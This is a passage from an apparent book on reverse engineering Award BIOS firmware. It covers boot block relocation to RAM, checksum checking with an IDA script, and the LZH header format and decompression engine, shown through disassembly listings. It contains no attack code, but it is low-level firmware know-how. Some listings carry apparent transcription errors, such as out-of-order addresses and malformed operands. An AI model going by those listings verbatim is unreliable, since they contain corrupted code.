E600:0487  mov  al, 5Eh ; '^'
........
E600:04B5  mov  dx, 500h
E600:04B8  in   al, dx
E600:04B9  test  al, 1
E600:04BB  jz   short  dont_halt
E600:04BD  loop  loc_E600_49F
E600:04BF  mov  dx, 0CF9h
E600:04C2  mov  al, 0Ah
E600:04C4  out  dx, al
E600:04C5  jc  short  dont_halt
E600:04C7  or   al, 0Eh
E600:04C9  out  dx, al
E600:04CA  halt:
E600:04CA  hlt
E600:04CB  jmp  short  halt
E600:04CD  ; ---------short  halt---------
E600:04CD  dont_halt:
E600:04CD  mov  al, 5Eh ; '^'
E600:04CF  out  dx, al
E600:04D0  jmp  bbss_3
........
E600:4903  bbss_3:
E600:4903  mov  cx, 0F8A4h
E600:4906  mov  sp, 490Ch
E600:4909  jmp  sub_E600_179
E600:4909  ; ---------------------------------
E600:490C  dw 490Eh
........
E600:490F  jmp  bbss_4
........
E600:493D  bbss_4:
E600:493D  mov  dx, 400h
E600:4936  in   ax, dx
E600:4937  out  dx, ax
........
E600:0590  jmp  bbss_5
........
E600:1044  bbss_5:
E600:1044  mov  al, 0A0h ;
5.1.2.6. Boot Block Is Copied and Executed in RAM

Listing 5.9 Routine to Copy the Boot Block to and Execute the Boot Block in RAM

F000:E478 mov ax, cs
F000:E47A mov ds, ax
F000:E47C assume ds:F000
F000:E47C lgdt qword ptr word_F000_FC10
F000:E481 mov eax, cr0
F000:E484 or al, 1
F000:E486 mov cr0, eax
F000:E489 jmp short $+2
F000:E48B mov ax, 8
F000:E48E mov ds, ax
F000:E490 assume ds:seg012
F000:E490 mov es, ax
F000:E492 assume es:seg012
F000:E492 mov esi, 0F0000h
F000:E498 cmp dword ptr [esi+OF0F5h], 'BRM*
F000:E4A4 jz short low_BIOS_addr ; First pass match
F000:E4A6 or esi, 0FF00000h
The last 128 KB of BIOS code at E000:0000h–F000:FFFFh are copied to RAM as follows:

1. Northbridge and southbridge power-on default values alias the F_0000h–F_FFFFh address space with FFFE_FFFFh–FFFF_FFFFh, where the BIOS ROM chip address space is mapped. That's why the following code is safely executed:

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>Mnemonic</th>
</tr>
</thead>
<tbody>
<tr>
<td>F000:E4F0</td>
<td>EA 5B E0 00 F0</td>
<td>jmp far ptr F000:E05Bh</td>
</tr>
</tbody>
</table>

2. Northbridge power-on default values disable DRAM shadowing for this address space. Thus, reading or writing to this address space will not be forwarded to DRAM but will be forwarded to the southbridge to be decoded. The default values of the control registers in southbridge that control the mapping of this address space dictate that accesses to this address space must be decoded as transactions to the BIOS chip through the LPC bridge. Hence, a read operation to this address space will be forwarded to the BIOS ROM chip without being altered by the southbridge.

3. Close to the beginning of boot block execution, chipset_early_init is executed. This routine reprograms the LPC bridge in the southbridge to enable decoding of address E_0000h–F_FFFFh to ROM, i.e., forwarding the read operation in this address space into the BIOS ROM chip. The northbridge power-on default values disable DRAM shadowing for this address space. Thus, reading or writing to this address space will not be forwarded to DRAM.
4. Then comes the routine displayed previously that copied the last 128-KB BIOS ROM chip content at address E_0000h–F_FFFFh into DRAM at 1000:0000h–2000:FFFFh and 18_0000h–19_FFFFh. The execution continues at segment 2000h. This can be accomplished because 1000:0000h–2000:FFFFh address space is mapped only to DRAM by the chipset, with no special address translation. The algorithm preceding has been preserved from Award version 4.50PG to Award version 6.00PG code. There is a only minor difference between the versions.

5.1.2.7. System BIOS Decompression and its Entry Point

Listing 5.10 System BIOS Decompression Routine

```
2000:E544 decompress_sysbios:
2000:E544  mov al, 0FFh
2000:E546  call enable_cache
2000:E549  mov al, 0Ch
2000:E54B  out 80h, al ; Manufacturer's diagnostic checkpoint
2000:E54D  call search_BBS
2000:E550  mov ax, [si+0Eh]
2000:E553  mov si, 0
2000:E556  mov ds, si
2000:E558  assume ds:nothing
2000:E558  mov si, 6000h
2000:E55B  mov [si], ax ; [0000:6000] = 0xB0F4
2000:E55D  mov al, 0C3h ; '+'
2000:E55F  out 80h, al ; Manufacturer's diagnostic checkpoint
2000:E561  call near ptr Decompress_System_BIOS
2000:E564 ; -------------------
2000:E564   jmp short System_BIOS_dcmpession_OK
2000:E566 ; -----------------------
2000:E566   decompression_failed:
2000:E566   push 2000h
2000:E569   pop ds
2000:E56A   assume ds:20000h
2000:E56A   mov dword_2000_FFF4, 'l'1l=
2000:E573   mov dword_2000_FFF8, '9/11'
2000:E57C   mov dword_2000_FFFC, 0CFCC0039h
2000:E585   mov ax, 1000h
2000:E588   System_BIOS_dcmprssion_OK:
2000:E588   mov ds, ax
2000:E58A   assume ds:seg_01
2000:E58A   push ax
2000:E58B   mov al, 0C5h ; '+'
2000:E58D   out 80h, al ; Manufacturer's diagnostic checkpoint
2000:E58F   call copy_decompression_result
```
2000:E592 pop ax
2000:E593 cmp ax, 5000h
2000:E596 jz short dcomprssion_ok
2000:E598 jmp decompress_err+1
2000:E59D ; ---------------------------------------------------------------
2000:E59D dcomprssion_ok:
2000:E59D mov al, 0
2000:E59F call enable_cache
2000:E5A2 jmp org_tmp_entry

........
2000:FC85 Decompress_System_BIOS proc far
2000:FC85 push 2000h
2000:FC88 call near ptr CX_equ_C000h
2000:FC89 mov esi, 0
2000:FC91 jnz short not_taken
2000:FC97 mov esi, 0FFF00000h
2000:FC99 not_taken:
2000:FC99 movzx ecx, cx
2000:FC9D shl ecx, 4
2000:FCA1 or esi, ecx
2000:FCA4 cld
2000:FCA5 mov ax, cs
2000:FCA7 mov ds, ax
2000:FCA9 assume ds:.20000h
2000:FCA9 lgdt qword_2000_FC16
2000:FCAE mov eax, cr0
2000:FCB1 or al, 1
2000:FCB3 mov cr0, eax
2000:FCB6 jmp short $+2
2000:FCB8 mov ax, 8
2000:FCBB mov ds, ax
2000:FCBD assume ds:.FFFF0000h
2000:FCBD mov es, ax
2000:FCBF assume es:.FFFF0000h
2000:FCBF and esi, 0FFFF0000h
2000:FC66 or esi, 80000h
2000:FC6D mov edi, 300000h
2000:FC6D mov ecx, 200000h
2000:FC99 rep movs dword ptr es:[edi], dword ptr [esi] ; copy 512-KB
2000:FC99 ; BIOS code from near the 4-GB address
2000:FC99 ; to 30_0000h-37_FFFFh
2000:FC99 mov eax, cr0
2000:FCE0 and al, 0FEh
2000:FCE2 mov cr0, eax
2000:FCE5 jmp short $+2
2000:FCE7 push 2000h
2000:FCEA call near ptr flush_cache
2000:FCED call search_BBSS
2000:FCF0 mov si, [si]
2000:FCE2   and   si, 0FFFF0h
2000:FCE5   push  si
2000:FCE6   mov   bx, [si+0Ah]
2000:FCE9   and   bx, 0FFFF0h
2000:FCFC   pop   ax
2000:FCFD   add   ax, bx
2000:FCFF   and   ax, 0F00
2000:FD02   add   ax, 0FFEh
2000:FD05   push  ax
2000:FD06   call  enter_voodo
do
2000:FD09   pop   ax
2000:FD0A   mov   esi, 300000h
2000:FD10   mov   ecx, 60000h
2000:FD16   add   ecx, esi
2000:FD19   next_lower_byte:
2000:FD19   mov   ebx, [esi]
2000:FD1D   and   ebx, 0FFFFFFh
2000:FD24   cmp   ebx, 'hl-'; Find compressed system BIOS
2000:FD2B   jz    short lh_sign_found
2000:FD2D   inc   esi
2000:FD2F   jmp   short next_lower_byte
2000:FD31 ; ---------------------------------------------
2000:FD31   lh_sign_found:
2000:FD31   sub   esi, 2 ; Point to the beginning of the
2000:FD31   ; compressed component
2000:FD35   add   cx, ax
2000:FD37   sub   ecx, esi
2000:FD3A   xor   ah, ah
2000:FD3C   next_byte:             ;
2000:FD3C   lodsb  byte ptr [esi]
2000:FD3E   add   ah, al ; Calculate the 8-bit checksum
2000:FD40   loopd next_byte
2000:FD43   mov   al, [esi]
2000:FD46   push  ax
2000:FD47   call  exit_voodo
2000:FD4A   pop   ax
2000:FD4B   cmp   ah, al
2000:FD4D   jnz   decompression_failed
2000:FD51   xor   bx, bx
2000:FD53   mov   es, bx
2000:FD55   assume es:nothing
2000:FD55   mov   ebx, 300000h
2000:FD5B   repeat:
2000:FD5B   call  near ptr Decompress
2000:FD5E   jb    short decompression_failed
2000:FD60   test  ecx, 0FFFP0000h
2000:FD67   jnz   short sys_bios_decompress_OK
2000:FD69   jmp   short next_segment
In the beginning of the Decompress_System_BIOS procedure, the 512-KB BIOS binary at the FFF8_0000h–FFFF_FFFFh address range is copied into 30_0000h–37_FFFFh in system RAM. Then, the compressed BIOS code (4bgf1p50.bin) within 30_0000h–37_FFFFh in RAM is decompressed into the 5000:0000h–6000:FFFFh address range, also in RAM. Note that the location of the system BIOS in the compressed BIOS binary varies in different Award BIOS version 6.00PG. However, the system BIOS is always the first LHA-compressed component in that address range, i.e., the first LHA-compressed component that will be found if you scan from 30_0000h to 37_FFFFh. The decompressed
system BIOS later relocated to E000:0000h–F000:FFFFh in RAM. However, if
decompression process failed, the current compressed E_seg and F_seg located in RAM at
1000:0000h–2000:FFFFh will be relocated to E000:0000h–F000:0000h in RAM. Then
the boot block error handling code will be executed. Note that the problems because of
address aliasing and DRAM shadowing are handled during the relocation by setting the
appropriate chipset registers. Below is the basic rundown of this routine:

1. Early in the boot block execution, configure the northbridge and southbridge
   registers to enable FFF0_0000h–FFFF_FFFFh decoding. The LPC bridge will
   forward access to this address to the BIOS ROM chip. The LPC bridge's firmware
   hub that decodes control registers\(^5\) is in charge here.

2. Copy all BIOS code from FFF8_0000h–FFFF_FFFFh in the ROM chip into
   30_0000h–37_FFFFh in RAM.

3. Verify the checksum of the whole compressed BIOS image. Calculate the 8-bit
   checksum of the copied compressed BIOS image in RAM (i.e., 30_0000h–
   36_BFFDh) and compare the result against the result stored in 36_BFFEh. If the 8-
   bit checksum doesn't match, then stop the decompression process and go to
   chk_sum_error; otherwise, continue the decompression routine.

4. Look for the decompression engine by looking for "BBSS" string in segment
   1000h. This segment is the copy of segment E000h,\(^7\) in RAM. This part is
   different from Award BIOS version 4.50 code. In that version, the decompression
   engine is located in segment 2000h, i.e., the copy of segment F000h in RAM.

5. Decompress the compressed BIOS components by invoking the decompression
   engine from the previous step. Note that at this stage only the system BIOS is
   decompressed. The other component is treated in different fashion. The
   decompress routine only processes the decompressed and expansion area
   information then puts it in RAM near 0000:6000h. I delve into the details of the
   decompression routines later. In this step you only have to remember that the
   decompressed system BIOS will be located at 5000:0000h–6000:FFFFh after the
   decompression process finished successfully.

6. Shadow the BIOS code. Assuming that the decompression routine successfully is
   completed, the preceding routine then copies the decompressed system BIOS from
   5000:0000h–6000:FFFFh in RAM to E_0000h–F_0000h, also in RAM. This is
   accomplished as follows:
   - Reprogram the northbridge shadow RAM control register to enable write only
     into E_0000h–F_0000h, i.e., forward the write operation into this address
     range to DRAM, no longer to the BIOS ROM chip.

\(^5\) The copies of E_seg and F_seg will be relocated, along with the copy of the boot block, in RAM.
\(^6\) The firmware hub control registers are located in Device 31 Function 0 Offset D8h, D9h, and
   DCh.
\(^7\) Segment E000h is an alias of the 64-KB code located at FFFE_0000h–FFFE_FFFFh.
• Perform a string copy operation to copy the decompressed system BIOS from 5000:0000h–6000:FFFFh to E_0000h–F_FFFFh.

• Reprogram the northbridge shadow RAM control register to enable read only into E_0000h–F_FFFFh, i.e., forward the read operation into this address range to DRAM, no longer to the BIOS ROM chip. This is also to write-protect the system BIOS code.

7. Enable the microprocessor cache, then jump into the decompressed system BIOS. This step is the last step in the normal boot block code execution path. After enabling the processor cache, the code then jumps into the write-protected system BIOS at F000:F80Dh in RAM, as seen in the preceding code. This jump destination address is the same across Award BIOSs.

Consider the overall memory map that's related to the BIOS components (table 5.1) just before the jump into the decompressed original.tmp is made. This is important because it eases you in dissecting the decompressed original.tmp later. Note that, by now, all code execution happens in RAM; no more code is executed from within the BIOS ROM chip.

<table>
<thead>
<tr>
<th>Address Range in RAM</th>
<th>Decompression State (by Boot Block Code)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>6000h–6400h</td>
<td>N/A</td>
<td>This area contains the header of the extension component (component other than system BIOS) fetched from the BIOS image at 30_0000h–37_FFFFh (previously the BIOS component at FFFE_0000h–FFFF_FFFFh in the BIOS chip).</td>
</tr>
<tr>
<td>1_0000h–2_FFFFh</td>
<td>Pure binary (executable)</td>
<td>This area contains the decompression block, the boot block, and probably the code for error recovery in case something is wrong with the BIOS. It's the copy of the last 128 KB of the BIOS (previously the BIOS component at FFFE_0000h–FFFF_FFFFh in the BIOS chip). This code is shadowed here by the boot block in the BIOS ROM chip.</td>
</tr>
<tr>
<td>5_0000h–6_FFFFh</td>
<td>Decompressed</td>
<td>This area contains the decompressed original.tmp. Note that the decompression process is accomplished by part of the decompression block in segment 1000h.</td>
</tr>
<tr>
<td>30_0000h–37_FFFFh</td>
<td>Compressed</td>
<td>This area contains the copy of the BIOS (previously at FFFE_0000h–FFFF_FFFFh in the BIOS chip). This code is copied here by the boot block code in segment 2000h.</td>
</tr>
<tr>
<td>E_0000h–F_FFFFh</td>
<td>Decompressed</td>
<td>This area contains the copy of the decompressed original.tmp, which is copied here by the boot block code in segment 2000h.</td>
</tr>
</tbody>
</table>

Table 5.1 BIOS binary mapping in memory before original.tmp execution
The last thing to note is that the boot block explanation here only covers the normal boot block code execution path, which means it didn’t explain the boot block POST that takes place if the system BIOS is corrupted.

As promised, I now delve into the details of the decompression routine for the system BIOS, mentioned in point 5. Start by learning the prerequisites.

The compressed component in an Award BIOS uses a modified version of the LHZ level-1 header format. The address ranges where these BIOS components will be located after decompression are contained within this format. The format is provided in table 5.2. Remember that it applies to all compressed components.

<table>
<thead>
<tr>
<th>Starting Offset from First Byte (from Preheader)</th>
<th>Starting Offset in LHZ Basic Header</th>
<th>Size in Bytes</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>00h</td>
<td>N/A</td>
<td>1</td>
<td>The header length of the component. It depends on the file/component name. The formula is header_length = filename_length + 25.</td>
</tr>
<tr>
<td>01h</td>
<td>N/A</td>
<td>1</td>
<td>The header 8-bit checksum, not including the first 2 bytes (header length and header checksum byte).</td>
</tr>
<tr>
<td>02h</td>
<td>00h</td>
<td>5</td>
<td>LHZ method ID (ASCII string signature). In Award BIOS, it’s “-lh5-,” which means: 8-KB sliding dictionary (max 256 bytes) + static Huffman + improved encoding of position and trees.</td>
</tr>
<tr>
<td>07h</td>
<td>05h</td>
<td>4</td>
<td>Compressed file or component size in little endian dword value, i.e., MSB at 0Ah, and so forth.</td>
</tr>
<tr>
<td>0Bh</td>
<td>09h</td>
<td>4</td>
<td>Uncompressed file or component size in little endian dword value, i.e., MSB at 0Eh, and so forth.</td>
</tr>
<tr>
<td>0Fh</td>
<td>0Dh</td>
<td>2</td>
<td>Destination offset address in little endian word value, i.e., MSB at 10h, and so forth. The component will be decompressed into this offset address (real-mode addressing is in effect here).</td>
</tr>
<tr>
<td>11h</td>
<td>0Fh</td>
<td>2</td>
<td>Destination segment address in little endian word value, i.e., MSB at 12h, and so forth. The</td>
</tr>
</tbody>
</table>

 MSB stands for most significant bit.
Table 5.2 LZH level-1 header format used in Award BIOSs

<table>
<thead>
<tr>
<th>Offset</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>13h</td>
<td>File attribute. The Award BIOS components contain 20h here, which is normally found in an LZH level-1 compressed file.</td>
</tr>
<tr>
<td>14h</td>
<td>Level. The Award BIOS components contain 01h here, which means it's an LZH level-1 compressed file.</td>
</tr>
<tr>
<td>15h</td>
<td>Component file-name name-length in bytes.</td>
</tr>
<tr>
<td>16h</td>
<td>Component file-name (ASCII string).</td>
</tr>
<tr>
<td>16h + filename_length</td>
<td>File or component CRC-16 in little endian word value, i.e., MSB at [HeaderSize - 2h], and so forth.</td>
</tr>
<tr>
<td>18h + filename_length</td>
<td>Operating system ID. In the Award BIOS, it's always 20h (ASCII space character), which doesn't resemble any LZH OS ID known to me.</td>
</tr>
<tr>
<td>19h + filename_length</td>
<td>Next header size. In Award BIOS, it's always 0000h, which means no extension header.</td>
</tr>
</tbody>
</table>

Some notes regarding the preceding table:

- The offset in the leftmost column and the addressing used in the contents column are calculated from the first byte of the component. The offset in the LZH basic header is used within the "scratch-pad RAM" (which will be explained later).
- Each component is terminated with an EOF byte, i.e., a 00h byte.
- In Award BIOS there is the Read_Header procedure, which contains the routine to read and verify the content of this header. One key procedure call there is a call into Calc_LZH_hdr_CRC16, which reads the BIOS component header into a "scratch-pad" RAM area beginning at 3000:0000h (ds:0000h). This scratch-pad area is filled with the LZH basic header values, which doesn't include the first 2 bytes. The first 2 bytes of the compressed components are the preheader, i.e., header size and header 8-bit checksum.
compressed components and the decompression block, or components other than the boot block). It's checked in the `Decompress_System_BIOS` procedure as shown in listing 5.11.

Listing 5.11 Checksum Verification Subroutine inside Decompress_System_BIOS Procedure

```
2000:FC85 ; in: none
2000:FC85 ;
2000:FC85 ; out: ax = 5000h if succeeded
2000:FC85 ; ax = 1000h if failed
2000:FC85 ; Attributes: noretur
2000:FC85
2000:FC85 Decompress_System_BIOS proc far ; ...
........
2000:FCED call search_BBSS
2000:FCF0 mov si, [si]
2000:FCF2 and si, 0FFF0h
2000:FCF5 push si
2000:FCF6 mov bx, [si+0Ah]
2000:FCF9 and bx, 0FFF0h
2000:FCFC add ax, bx
2000:FCFD .....................
2000:FD02 add ax, 0FFEh
2000:FD05 push ax
2000:FD06 call enter_voodoo
2000:FD09 pop ax
2000:FD0A mov esi, 300000h
2000:FD10 mov ecx, 60000h
2000:FD16 add ecx, esi
2000:FD19 ; next_higher_byte: ; ...
2000:FD19 mov ebx, [esi]
2000:FD1D and ebx, 0FFFFFFh
2000:FD24 cmp ebx, 'hl-'; Find the compressed system BIOS (the
2000:FD24 ; first compressed component)
2000:FD2B jz short lh_sign
2000:FD2D inc esi
2000:FD2F jmp short next_higher_byte
2000:FD31 ; ---------------------------------------
2000:FD31 lh_sign_found: ; ...
2000:FD31 sub esi, 2 ; Point to the beginning of the
2000:FD31 ; compressed component
2000:FD35 add cx, ax
2000:FD37 sub ecx, esi
2000:FD3A xor ah, ah
2000:FD3C ; next_byte: ; ...
2000:FD3C lods byte ptr [esi]
2000:FD3E add ah, al ; Calculate the 8-bit checksum of all
```
The `chk_sum_error` is a label outside the `Decompress_System_BIOS` procedure. It's jumped into if the checksum calculation fails. The checksum checking in listing 5.11 can be simulated by using the IDA Pro script in listing 5.12.

Listing 5.12 Award BIOS Checksum Checking with IDA Pro Script

```c
#include <idc.idc>

static main()
{
    auto ea, si, esi, ebx, ds_base, ax, bx, ecx, calculated_sum,
        hardcoded_sum;

    /* Search for BBSS signature */
    ds_base = 0xE0000;
    ea = ds_base + 0xFFF0;
    Message("Using ds_base 0x%X\n", ds_base);
    for( ; ea > ds_base ; ea = ea - 0x10 )
    {
        if( (Dword(ea) == 'SBB*') && (Word(ea+4) == '*S') )
        {
            Message("*BBSS* found at 0x%X\n", ea);
            si = (ea & 0xFFFF) + 6;
            break;
        }
    }
    Message("on-exit, si = 0x%X\n", si);
    Message("[si] = 0x%X\n", Word(ds_base + si));
    Message("[si+0xA] = 0x%X\n", Word(ds_base + si + 0xA));

    /* Calculate ax */
    si = Word(ds_base + si);
}
```
si = si & 0xFFF0;
bx = 0xFFF0 & Word(ds_base + si + 0xA);
ax = si + bx;
ax = ax & 0xF000;
ax = ax + 0xFFE;
Message("ax = 0x%X\n", ax);

/* Find -lh5- signature */
for(esi = 0x300000; esi < 0x360000 ; esi = esi + 1 )
{
    if( (Dword(esi) & 0xFFFFFF ) == 'hl-' )
    {
        Message("-lh found at 0x%X\n", esi);
        break;
    }
}

/* Calculate the binary size (minus boot block, only compressed parts) */
ecx = 0x360000;
esi = esi - 2; /* Point to starting addr of compressed component */
ecx = ecx + ax;
ecx = ecx - esi;
Message("compressed-components total size 0x%X\n", ecx);

/* Calculate checksum -
   note: esi and ecx value inherited from above */
calculated_sum = 0;
while(ecx > 0)
{
    calculated_sum = (calculated_sum + Byte(esi)) & 0xFF;
    esi = esi + 1;
    ecx = ecx - 1;
}
hardcoded_sum = Byte(esi);
Message("Hardcoded-sum placed at 0x%X\n", esi);
Message("calculated-sum 0x%X\n", calculated_sum);
Message("hardcoded-sum 0x%X\n", hardcoded_sum);
if( hardcoded_sum == calculated_sum )
{
    Message("compressed component checksum match!\n");
}
return 0;
The execution result of the script in listing 5.12 in the current BIOS is as follows:

```
Executing function 'main'...
Using ds_base 0x20000
*BBSS* found at 0xEB530
on-exit, si = 0xB536
[si] = 0x600E
[si+0xA] = 0xB09E
ax = 0xBFEE
-lh found at 0x300002
compressed-components total size 0x6BFFE
hardcoded-sum placed at 0x36BFFE
calculated-sum 0x6B
hardcoded-sum 0x6B
compressed component checksum match!
```

It must be noted that the system BIOS in Award BIOS version 6.00PG is always the first compressed component found in the copy of the BIOS binary at the 30_0000h–37_FFFFh address range in system RAM if you scan from the beginning. Moreover, it's located in the binary in the 64-KB (10000h) boundary.

Now, proceed to the key parts of the decompression routines. This decompression routine is an assembly language version of the original C source code of the LHA decompressor by Haruhiko Okumura, with minor changes. Start with the Decompress procedure called from the Decompress_System_BIOS procedure at address 2000:FD5Bh.

Listing 5.13 Disassembly of the Decompress Procedure

```
2000:FC2C ; in : ebx = src_phy_addr
2000:FC2C ; out: ecx = overall compressed-component size
2000:FC2C ; CF=1 if error ; CF=0 if success
2000:FC2C Decompress proc far ; ...
2000:FC2C call enter_voodoo
2000:FC2F push large dword ptr es:[ebx+0Fh] ; Save dest seg-offset
2000:FC35 call exit_voodoo
2000:FC38 push 2000h
2000:FC3B call near ptr flush_cache
2000:FC3E cmp ecx, 40000000h
2000:FC47 jnz short _decompress
2000:FC49 mov si, 0
2000:FC4C mov ds, si
2000:FC4E assume ds:HdrData
2000:FC4E mov dword ptr unk_0_6004, ebx
2000:FC53 movzx ecx, byte ptr es:[ebx] ; ecx = LZH hdr length
2000:FC59 add ecx, es:[ebx+7]; ecx = compressed_size +
2000:FC59 ; LZH hdr_length
2000:FC5F add ecx, 3 ; ecx = compressed_size + LZH_hdr_length
```
The decompress procedure in listing 5.13 is more like a stub that calls the real LHA decompression routine. The start address of the decompression engine is located 14 bytes after the *BBSS* string. The disassembly of this decompression engine is provided in listing 5.14.

**Listing 5.14 Disassembly of the Decompression Engine**

```
1000:B0F4 ; in: es = source hi_word phy address
1000:B0F4 ; bx = source lo_word phy address
1000:B0F4 ; dx = scratch-pad segment address
1000:B0F4 ;
1000:B0F4 ; out: ecx = overall_compressed_component_length
1000:B0F4 ; edx = original_file_size
1000:B0F4 ; CF = 1 if failed
1000:B0F4 ; CF = 0 if success
1000:B0F4
1000:B0F4 Decompression_Ngine proc far
1000:B0F4 push eax
1000:B0F4 push bx
1000:B0F4 push es
1000:B0F8 mov ds, dx
1000:B0FA push ds
1000:B0FB pop es ; es = ds; used for zero-init below
1000:B0FC xor di, di
1000:B0FE mov cx, 4000h
```
1000:B101 xor ax, ax ; zero-init
1000:B103 rep stosw ; init 32-KB scratch-pad
1000:B105 pop es
1000:B106 push es
1000:B107 mov src_hi_word, es
1000:B10B mov src_lo_word, bx
1000:B112 mov selector_0_lo_dword, ecx ; Construct GDT
1000:B117 mov selector_0_hi_dword, ecx
1000:B11C lea cx, selector_0_lo_dword
1000:B120 ror ecx, 4
1000:B124 mov ax, ds
1000:B126 add cx, ax
1000:B128 rol ecx, 4
1000:B12C mov GDT_limit, 20h ; ' ' ; GDT limit
1000:B132 mov GDT_phy_addr, ecx
1000:B137 mov sel_1_lo_dword, 0FFFFh
1000:B140 mov ax, es
1000:B142 movzx ecx, ah
1000:B146 ror ecx, 8
1000:B14A mov cl, al
1000:B14C or ecx, 8F9300h
1000:B153 mov sel_1_hi_dword, ecx
1000:B158 mov sel_2_lo_dword, 0FFFFh
1000:B161 mov sel_2_hi_dword, 8F9300h
1000:B16A mov sel_3_lo_dword, 0FFFFh
1000:B173 mov sel_3_hi_dword, 8F9300h
1000:B177 call Make_CRC16_Table
1000:B17F call Fetch_LZH_Hdr_Info ; Set carry for invalid LZH header
1000:B182 jb exit
1000:B186 push gs
1000:B188 mov di, 0
1000:B18B mov gs, di
1000:B18D assume gs:HdrData
1000:B18D mov di, 6000h
1000:B190 add bx, 12h ; Dest segment hi-byte
1000:B193 call get_src_byte
1000:B196 cmp al, 40h ; '0'; Is extension component
1000:B19B jnz short not_extension_component
1000:B19D add bx, 11h ; Dest segment lo-byte
1000:B1A0 call get_src_byte
1000:B1A3 sub bx, 11h
1000:B1A6 or al, al ; Is dest seg = 4000h?
1000:B1A8 jz short not_extension_component
1000:B1AA movzx dx, al
1000:B1AD add bx, 1 ; LZH hdr chksum
1000:B1B0 call get_src_byte
1000:B1B3 dec bx
1000:B1B4 sub al, dl ; LZH_hdr_chksum = orig_LZH_hdr_chk_sum
1000:B1B4 ; - dest_seg_lo_byte
1000:B1B6 add bx, 1
1000:B1B9 call patch_byte
1000:B1BC dec bx
1000:B1BD xor al, al
1000:B1BF add bx, 11h
1000:B1C2 call patch_byte ; Patch dest seg lo-byte to 00h
1000:B1C2 ; (dest seg = 4000h)
1000:B1C5 sub bx, 11h
1000:B1C8 inc dx ; dest seg lo-byte = dest seg lo-byte+1
1000:B1C9 shl dx, 2 ; (dest seg lo-byte + 1)*4
1000:B1CC add di, dx ; di = ((dest seg lo-byte + 1)*4) + 6000h
1000:B1CE mov gs:[di], bx ; [((dest seg lo-byte + 1) * 4) + 6000h]
1000:B1CE ; = src_offset
1000:B1D1 mov cx, es
1000:B1D3 mov gs:[di+2], cx ; [((dest seg lo-byte + 1) * 4) + 6000h]
1000:B1D3 ; + 2] = src_segment
1000:B1D7 clc
1000:B1D8 call get_src_byte
1000:B1D8 movzx ecx, al ; ecx = LZH_hdr_len
1000:B1DF add bx, 7 ; eax = compressed_component_size
1000:B1E2 call get_dword
1000:B1E5 sub bx, 7
1000:B1E8 add ecx, eax ; ecx = compressed_cmpnt_size +
1000:B1E8 ; LZH_hdr_len
1000:B1EB add ecx, 3 ; ecx = compressed_cmpnt_size +
1000:B1EB ; LZH_hdr_len + sizeof(EOF_byte) +
1000:B1EB ; sizeof(LZH_hdr_len_byte) +
1000:B1EB ; sizeof(LZH_hdr_8bit_chk_sum)
1000:B1EF pop gs
1000:B1F1 assume gs:nothing
1000:B1F1 jmp exit
1000:B1F4 not_extension_component: ; ...
1000:B1F4 pop gs
1000:B1F6 mov ax, dest_segment
1000:B1F9 mov _dest_segment, ax
1000:B1FC mov ax, dest_offset
1000:B1FF mov _dest_offset, ax
1000:B202 and ah, 0F0h ; '
1000:B205 cmp ah, 0F0h ; '='
1000:B208 jnz short dest_offset_is_low
1000:B20A mov ax, dest_offset
1000:B20D mov _dest_segment, ax
1000:B210 xor ax, ax
1000:B212 mov _dest_offset, ax
1000:B215 dest_offset_is_low: ; ...
1000:B215 mov ecx, compressed_size
1000:B21A xor eax, eax
1000:B21D mov al, lzh_hdr_len
1000:B220 add ecx, eax ; Compressed_cmpnt_size + LZH_hdr_len
add ecx, 3 ; ecx = compressed_cmpnt_size +
LZH_hdr_len + sizeof(EOF_byte) +
sizeof(LZH_hdr_len_byte) +
sizeof(LZH_hdr_8bit_chk_sum)

mov edx, orig_size
push edx
mov bx, src_lo_word
push bx
add bx, 5
call get_src_byte
pop bx
push ax
movzx ax, lzh_hdr_len
add ax, 2
add src_lo_word, ax ; src_lo_word points to "pure
compressed" component
pop ax
jnb short not_next_seg
inc src_hi_word
not_next_seg:          ; ...
cmp al, '0'        ; is -lh0- (stored, not compressed)?
jnz short lzh_decompress
call copy_component
jmp short exit_ok
lzh_decompress:        ; ...
push _dest_segment
push _dest_offset
push large [orig_size]
call LZH_Expand
pop orig_size
pop _dest_offset
pop _dest_segment
Exit_ok:
pop ecx
clc
Exit:
push es
pop bx
push eax
pop edx
retf
Decompression_Ngine endp

The base address for DS is 3_0000h
in: ds = scratch_pad_segment for CRC table
out: ds:10Ch - ds:11Bh = CRC-16 table

Make_CRC16_Table proc near
  pusha
  mov si, 10Ch
  mov cx, 100h
  next_CRC_byte:
    mov ax, 100h
    sub ax, cx
    push ax
    mov bx, 0
    next_bit:
      test ax, 1
      jz current_bit_is_0
      shr ax, 1
      xor ax, 0A001h
      jmp short current_bit_is_1
    current_bit_is_0:
      shr ax, 1
    current_bit_is_1:
      inc bx
      cmp bx, 8
      jb next_bit
    pop bx
    mov [bx+si], ax
    inc si
  loop next_CRC_byte
  popa
  retn

Fetch_LZH_Hdr_Info proc near
  pusha
  push es
  mov bx, src_lo_word
  clc
  call get_src_byte
  mov lzh_hdr_len, al
  pop es
  cmp lzh_hdr_len, 0
  jnz lzh_hdr_ok
  set_carry:
    stc
    jmp exit
lzh_hdr_ok:
  .......

Fetch_LZH_Hdr_Info endp
1000:B396 push es
1000:B397 add bx, 1
1000:B39A call get_src_byte
1000:B39D mov lzh_hdr_chksum, al
1000:B3A0 pop es
1000:B3A1 call Read_Basic_LZH_Hdr
1000:B3A4 call Calc_LZH_Hdr_8bit_sum
1000:B3A7 cmp al, lzh_hdr_chksum
1000:B3AB jz short lzh_hdr_chksum_ok
1000:B3AD jmp short set_carry
1000:B3AF lzh_hdr_chksum_ok: ; ...
1000:B3AF mov bx, 5
1000:B3B2 mov cx, 4
1000:B3B5 call Get_LZH_Hdr_Bytes
1000:B3B8 mov cmpressed_size, eax
1000:B3BC mov bx, 9
1000:B3BF mov cx, 4
1000:B3C2 call Get_LZH_Hdr_Bytes
1000:B3C5 mov orig_size, eax
1000:B3C9 mov bx, 0Dh
1000:B3CC mov cx, 2
1000:B3CF call Get_LZH_Hdr_Bytes
1000:B3D2 mov dest_offset, ax
1000:B3D5 mov bx, 0Fh
1000:B3D8 mov cx, 2
1000:B3DB call Get_LZH_Hdr_Bytes
1000:B3E1 cmp LZH_levl_sign_0, 20h ; ' '
1000:B3ED jnz short set_carry
